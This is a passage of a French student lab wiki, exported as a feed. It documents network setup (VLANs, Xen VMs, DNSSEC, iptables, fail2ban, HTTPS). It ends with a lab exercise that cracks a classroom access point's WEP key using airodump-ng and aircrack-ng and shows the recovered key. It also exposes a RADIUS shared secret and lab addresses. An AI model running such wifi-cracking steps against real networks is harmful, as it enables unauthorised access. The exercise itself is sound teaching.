C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12261</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12261"/>
		<updated>2026-02-12T15:29:38Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
